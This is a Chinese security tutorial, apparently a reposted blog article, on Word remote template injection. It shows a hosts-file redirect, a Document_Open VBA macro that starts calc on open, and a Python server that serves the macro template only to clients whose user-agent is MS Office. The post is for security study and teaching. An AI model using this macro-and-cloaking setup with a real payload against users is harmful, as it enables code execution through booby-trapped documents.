实验开始之前我们需要对本机host做劫持,修改hosts文件,让指定域名强制解析为我们机器的ip
将域名强制劫持成本地ip地址
接下来创建一个空白文档->选择开发者工具(非默认开启)->选择Visual Basi
可以双击左侧文档,为文档添加一VB宏代码
添加宏代码如下,加载com组件启动calc
Sub Document_Open()
Set
objShell = CreateObject(
"Wscript.Shell"
)
objShell.Run
"calc"
End
Sub
点击运行测试我们的脚本可以正常运行
将文档保存到文件服务器将要映射的文件路径下
主图保存文档格式为启动宏的Word模板格式
写一段python服务器代码
from
http.server
import
HTTPServer, BaseHTTPRequestHandler
host = (
'localhost'
,
80
)
FILE_TO_SERVE1 =
r'C:SimpleWWWtest.txt'
FILE_TO_SERVE2 =
r'C:SimpleWWWtest2.txt'
class
My_Server
(BaseHTTPRequestHandler)
:
def
do_GET
(self, *args, **kwargs)
:
if
"MSOffice"
in
self.headers[
'user-agent'
]:
self.send_response(
200
)
self.send_header(
"Content-type"
,
"application/msword"
)
self.end_headers()
body =
b''
with
open(FILE_TO_SERVE1,
"rb"
)
as
f:
body = f.read()
self.wfile.write(body)
self.wfile.close()
else
:
self.send_response(
200
)
self.send_header(
"Content-type"
,
"image/jpeg"
)
self.end_headers()
body =
b''
with
open(FILE_TO_SERVE2,
"rb"
)
as
f:
body = f.read()
self.wfile.write(body)
self.wfile.close()
def
do_OPTIONS
(self)
:
self.send_response(
200
,
"ok"
)
self.send_header(
'Access-Control-Allow-Methods'
,
'GET, OPTIONS'
)
self.send_header(
"Access-Control-Allow-Headers"
,
"X-Requested-With, Content-type"
)
if
__name__ ==
'__main__'
:
server = HTTPServer(host, My_Server)
print(
"server启动@ : %s:%s"
% host)
server.serve_forever()
原文始发于微信公众号(安全狗的自我修养):攻防角度理解模板注入攻击
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论